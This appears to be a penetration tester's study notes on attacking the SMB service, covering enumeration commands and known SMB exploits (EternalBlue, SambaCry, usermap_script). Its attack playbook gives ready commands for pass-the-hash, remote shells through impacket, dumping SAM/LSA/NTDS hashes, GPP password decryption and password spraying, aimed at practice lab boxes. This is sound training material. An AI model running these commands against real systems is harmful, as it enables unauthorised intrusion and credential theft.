~/service-smb

SMB

CPTS Notes8 min read

TL;DR

SMB (Server Message Block). File, printer, and resource sharing on Windows. Samba is the Linux implementation. TCP 445 carries SMB over TCP. TCP 139 is the legacy NetBIOS session port. UDP 137/138 carry NetBIOS name and datagram traffic. Dialects run from SMBv1 (legacy, dangerous) through SMBv2 and SMBv3.

First checks: null or guest session, share list and permissions, OS and dialect, and whether the server requires signing.

Protocol background is in SMB & NetBIOS.

Commands

Inside an smbclient session:

Command Does
ls / dir List the current directory.
cd <dir> Change directory.
get <file> Download a file.
mget * Download many files.
put <file> Upload a file.
recurse Toggle directory recursion.
prompt Toggle the per-file confirmation.
!<cmd> Run a local shell command.
exit Close the session.

Enumeration

Workflow: a quick nxc fingerprint to start, then the full sweep and deep enumeration, then browse with smbclient. The rest are fallback and cross-check.

Quick pass. Fingerprint the host and test a null session:

nxc smb $TARGET # hostname, domain, OS, SMB version, signing, SMBv1
nxc smb $TARGET -u '' -p '' --shares # readable shares over a null session

The null session shows any readable shares, enough to start on while the full scan runs.

Sweep. Ports, version, signing, and the MS17-010 check:

# ports, dialects, signing, and MS17-010
sudo nmap -p139,445 -sC -sV --script smb-os-discovery,smb-protocols,smb-security-mode,smb-vuln-ms17-010 -oA scans/smb $TARGET

smb-protocols lists the dialects. The highest one hints at the OS: SMB 3.1.1 means Windows 10 or Server 2016 and later.

Enumerate with NetExec (nxc, the maintained CrackMapExec fork). One command pulls shares, users, groups, and the password policy, over null, credentialed, or pass-the-hash auth:

nxc smb $TARGET -u '' -p '' --shares --users --groups --pass-pol --rid-brute # null session
nxc smb $TARGET -u <user> -p <pass> --shares --users # with credentials
nxc smb $TARGET -u <user> -H <hash> --shares --users # pass the hash
nxc smb $TARGET -u <user> -p <pass> --local-auth --shares # local account, non-domain host
nxc smb $TARGET -u <user> -p <pass> --spider <share> --pattern <text> # find files by name in a share

--rid-brute cycles RIDs when the server blocks user enumeration. --local-auth logs in with a local account, not a domain one. Usernames feed password spraying and Kerberos attacks.

Browse and download with smbclient. List shares, then connect to one:

smbclient -L //$TARGET/ -N # null session
smbclient -L //$TARGET/ -U '<user>%<pass>' # with credentials
smbclient //$TARGET/<share> -U '<user>%<pass>' # connect to a share
smbclient //$TARGET/<share> -U '<DOMAIN>/<user>%<pass>' # domain account
smbclient //$TARGET/<share> -U '<user>%<nthash>' --pw-nt-hash # pass the hash

-L lists instead of connecting. -N is the null session. -U user%pass passes credentials inline, and omitting %pass prompts for it. Prefix DOMAIN/ for a domain account. --pw-nt-hash treats the password slot as an NT hash, for pass-the-hash.

Pull a whole share at once:

smb: \> recurse ON # walk subdirectories
smb: \> prompt OFF # skip the per-file confirmation
smb: \> mget * # download everything
smb: \> !ls # run a local shell command without leaving the session

Mount a share as a local filesystem:

# mount the share at /mnt/smb
sudo mount -t cifs //$TARGET/<share> /mnt/smb -o username=<user>,password=<pass>

Hunt and download across shares without browsing by hand:

smbclient //$TARGET/<share> -U '<user>%<pass>' -c 'get <file>' # grab one file, no session
smbmap -H $TARGET -u <user> -p <pass> -R --depth 5 # recursive listing
smbmap -H $TARGET -u <user> -p <pass> --download '<share>/path/file' # download one file
nxc smb $TARGET -u <user> -p <pass> -M spider_plus # index every readable file

smbclient -c runs one command and exits. smbmap -R walks shares to a depth. The spider_plus module writes an index of every readable file for review.

Fallback and cross-check. Each wraps one interface. Use them when nxc misses something, or to cross-check it:

enum4linux-ng -A $TARGET # dump everything in one run
rpcclient -U "" -N $TARGET # raw MS-RPC calls over a null session
impacket-samrdump $TARGET # list users (Impacket)
smbmap -H $TARGET # per-share permissions

Inside rpcclient:

rpcclient $> querydominfo # domain info
rpcclient $> enumdomusers # list users and their RIDs
rpcclient $> queryuser <RID> # details for one user

Tools parse responses differently, so one surfaces what another misses.

Common misconfigurations

  • Null session or guest access to shares.
  • Readable shares holding credentials, configs, scripts, or backups.
  • Writable shares.
  • SMB signing not required.
  • SMBv1 enabled.
  • Weak or reused credentials.

Version exploits

Match the OS and dialect from enumeration before trusting any of these.

  • EternalBlue (MS17-010, CVE-2017-0144): SMBv1 remote code execution.
  • MS08-067 (CVE-2008-4250): older Windows netapi remote code execution. Found on Windows XP and 2003 targets.
  • SambaCry (CVE-2017-7494): Samba 3.5.0 and later, a writable share loads an uploaded shared library for remote code execution.
  • Samba usermap_script (CVE-2007-2447): Samba 3.0.20 to 3.0.25rc3, command injection in the username field.
sudo nmap -p445 --script smb-vuln-ms17-010 $TARGET # check for EternalBlue
use exploit/windows/smb/ms17_010_eternalblue # Metasploit module for EternalBlue

Attack playbook

  1. Search the shares. Null, guest, or weak creds let you read. Pull configs, scripts, and backups for credentials and host detail. Watch for Groups.xml with a GPP cpassword in a domain share. The usual SMB win. Listing and connection are in Enumeration. Keyword search across many shares is in Hunting (Shares).
    gpp-decrypt '<cpassword>' # decrypt the GPP password from Groups.xml
  2. Reuse credentials or hashes. Creds and NTLM hashes found over SMB often work on SMB, WinRM, RDP, and MSSQL.
    nxc smb $TARGET -u <user> -H <hash> # pass the hash
  3. Execute commands with admin creds. Local-admin access runs commands and gives a shell. impacket-wmiexec is quieter than impacket-psexec, dropping no service.
    nxc smb $TARGET -u <admin> -p <pass> -x 'whoami' # run a cmd command
    nxc smb $TARGET -u <admin> -p <pass> -X 'whoami' # run a PowerShell command
    impacket-psexec '<admin>:<pass>@'$TARGET # full shell through a service
    impacket-wmiexec '<admin>:<pass>@'$TARGET # full shell over WMI, no service
    impacket-smbexec '<admin>:<pass>@'$TARGET # full shell through a service, no binary upload
  4. Dump secrets with admin creds. Pull hashes to reuse, then feed them back into pass-the-hash.
    nxc smb $TARGET -u <admin> -p <pass> --sam --lsa # local hashes and LSA secrets
    nxc smb $TARGET -u <admin> -p <pass> --ntds # domain hashes, on a domain controller
    impacket-secretsdump '<admin>:<pass>@'$TARGET # SAM, LSA, and NTDS in one run
  5. Write for code execution or hash capture. A writable share takes a payload, or an SCF or LNK file that makes a victim authenticate to you. Capture the NetNTLM hash with Responder.
  6. Version exploit. Match the dialect and OS, then see Version exploits above. SMBv1 targets are the common one.
  7. Brute or spray. Last resort. Check the lockout threshold first, then spray one password across a user list.
    nxc smb $TARGET --pass-pol # lockout threshold
    nxc smb $TARGET -u users.txt -p '<Password>' --continue-on-success # spray, keep going after a hit
    nxc smb $TARGET -u users.txt -p '<Password>' --continue-on-success --local-auth # spray local accounts, non-domain host
    nxc stops at the first valid login. --continue-on-success keeps spraying, to find every account that shares the password. --local-auth targets a computer that is not domain joined. Spraying, stuffing, and defaults are in Spraying and Defaults.

Situational: relay NTLM authentication with ntlmrelayx and Responder when signing is not required. --rid-brute lists users when the server blocks direct enumeration.

Practice boxes

Box Difficulty SMB’s role
Dancing Starting Point Null session connects to a share. Pure SMB intro.
Active Easy Anonymous read of the Replication share leaks a GPP cpassword for credentials.
Lame Easy Samba 3.0.20 usermap_script (CVE-2007-2447) for a root shell.
Blue Easy SMBv1 EternalBlue (MS17-010) for remote code execution.
Legacy Easy Windows XP SMBv1, vulnerable to MS17-010 and MS08-067.
Bastion Easy Guest share holds a VHD. Mount it and extract SAM hashes.

On easy boxes SMB is often the whole foothold. On harder ones it feeds lateral movement: a share leak, a captured hash, or a pass-the-hash onto the next host.